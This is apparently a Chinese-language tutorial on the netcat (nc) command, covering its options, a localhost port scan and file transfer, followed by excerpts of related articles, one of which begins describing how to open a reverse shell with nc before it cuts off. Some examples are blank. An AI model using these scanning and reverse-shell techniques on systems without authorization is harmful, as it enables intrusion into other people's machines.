nc 命令使用詳解

2022-05-22 12:42:09 字數 1594 閱讀 9347

nc 命令介紹:

我們通過 ll 命令檢視nc 命令:

➜  benchmarks ll /usr/bin/nc

lrwxrwxrwx.

1 root root 4 feb 19

19:09 /usr/bin/nc -> ncat

name

cat - concatenate files and print on the standard output

name

ncat - concatenate and redirect sockets

nc 常用:

常用命令:

1) -l

用於指定nc將處於偵聽模式。指定該引數,則意味著nc被當作server,偵聽並接受連線,而非向其它位址發起連線。

2) -p

限制資料傳送原埠

3) -s 

指定傳送資料的源ip位址,適用於多網絡卡機 

4) -u

指定nc使用udp協議,預設為tcp

5) -v

輸出互動或出錯資訊,新手除錯時尤為有用

6)-w

超時秒數,後面跟數字 

7)-z

表示zero,表示掃瞄時不傳送任何資料

常用舉例:

監聽埠:

連線埠:

如果進行埠掃瞄:nc -vz -w 5 127.0.0.1 1-100對 1-100 埠進行掃瞄

同理,利用兩者之間的連線可以進行檔案傳輸。

如果結合 /dev/null 、/dev/zero 和dstat命令,可以進行兩主機之間的網速。

nc命令可以mysql nc 命令詳解

標籤 nc nc是netcat的縮寫。root wl020237 nc z n 192.168.20.237 20 8088 connection to 192.168.20.237 22 port tcp succeeded connection to 192.168.20.237 80 port...

使用nc命令傳輸資料

原文 nc是netcat的簡寫,有著網路界的瑞士軍刀美譽。因為它短小精悍 功能實用,被設計為乙個簡單 可靠的網路工具 需注意操作次序,receiver先偵聽埠,sender向receiver所在機器的該埠傳送資料。步驟一 在接收端b偵聽埠資料,並將資料寫到file裡 nc l port file 步...

使用NC命令反彈Shell

本文使用兩台電腦操作,一台是kali 192.168.0.23 一台是mac 192.168.0.24 有些電腦不支援,而且跟機器使用順序還有關係。比如我在kali上 192.168.0.23 輸入 root kali nc l 1234在mac上 192.168.0.24 輸入 nc 192.16...